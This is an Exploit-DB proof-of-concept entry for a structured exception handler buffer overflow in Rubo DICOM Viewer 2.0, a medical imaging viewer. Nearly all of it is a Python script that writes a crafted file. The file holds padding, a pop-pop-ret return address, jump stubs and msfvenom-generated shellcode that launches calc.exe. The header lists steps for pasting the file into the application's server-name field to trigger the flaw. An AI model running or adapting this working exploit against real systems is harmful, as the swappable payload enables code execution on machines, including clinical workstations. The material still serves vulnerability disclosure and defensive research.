Rubo DICOM Viewer 2.0 – Buffer Overflow (SEH)

  • 作者: bzyo
    日期: 2020-04-20
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48351/
  • # Exploit Title: Rubo DICOM Viewer 2.0 - Buffer Overflow (SEH)
    # Exploit Author: bzyo
    # Date: 2020-04-17
    # Vulnerable Software: Rubo Medical Imaging - DICOM Viewer 2.0
    # Vendor Homepage: http://www.rubomedical.com/
    # Version: 2.0
    # Software Link : http://www.rubomedical.com/download/index.php
    # Tested Windows 7 SP1 x86
    #
    #
    # PoC
    # 1. generate overview.txt, copy contents to clipboard
    # 2. open application
    # 3. select send dicom files, edit
    # 4. paste contents from clipBoard to "DICOM server name" field
    # 6. pop calc
    
    #!/usr/bin/python
    
    import struct
    
    junk1 = "A"*1868
    
    #0x00402f0e : pop ecx # pop ebp # ret 0x04[Overview.exe]
    seh = struct.pack('<L',0x00402f0e)
    
    jmp1 = "\xeb\xf8\xcc\xcc"
    
    jmp2 = "\xe9\x11\xFF\xFF\xFF\x90"
    
    #msfvenom -a x86 -p windows/exec CMD=calc.exe -b "\x00\x0d" -f c
    #Payload size: 220 bytes
    calc = ("\xd9\xc3\xba\x3a\xf3\xa8\x97\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
    "\x31\x31\x53\x18\x03\x53\x18\x83\xc3\x3e\x11\x5d\x6b\xd6\x57"
    "\x9e\x94\x26\x38\x16\x71\x17\x78\x4c\xf1\x07\x48\x06\x57\xab"
    "\x23\x4a\x4c\x38\x41\x43\x63\x89\xec\xb5\x4a\x0a\x5c\x85\xcd"
    "\x88\x9f\xda\x2d\xb1\x6f\x2f\x2f\xf6\x92\xc2\x7d\xaf\xd9\x71"
    "\x92\xc4\x94\x49\x19\x96\x39\xca\xfe\x6e\x3b\xfb\x50\xe5\x62"
    "\xdb\x53\x2a\x1f\x52\x4c\x2f\x1a\x2c\xe7\x9b\xd0\xaf\x21\xd2"
    "\x19\x03\x0c\xdb\xeb\x5d\x48\xdb\x13\x28\xa0\x18\xa9\x2b\x77"
    "\x63\x75\xb9\x6c\xc3\xfe\x19\x49\xf2\xd3\xfc\x1a\xf8\x98\x8b"
    "\x45\x1c\x1e\x5f\xfe\x18\xab\x5e\xd1\xa9\xef\x44\xf5\xf2\xb4"
    "\xe5\xac\x5e\x1a\x19\xae\x01\xc3\xbf\xa4\xaf\x10\xb2\xe6\xa5"
    "\xe7\x40\x9d\x8b\xe8\x5a\x9e\xbb\x80\x6b\x15\x54\xd6\x73\xfc"
    "\x11\x28\x3e\x5d\x33\xa1\xe7\x37\x06\xac\x17\xe2\x44\xc9\x9b"
    "\x07\x34\x2e\x83\x6d\x31\x6a\x03\x9d\x4b\xe3\xe6\xa1\xf8\x04"
    "\x23\xc2\x9f\x96\xaf\x2b\x3a\x1f\x55\x34")
    
    junk2 = "\x90"*14
    
    buffer = junk1 + calc + junk2 + jmp2 + jmp1 + seh 
    
    with open("overview.txt","wb") as f:
    f.write(buffer[:-1])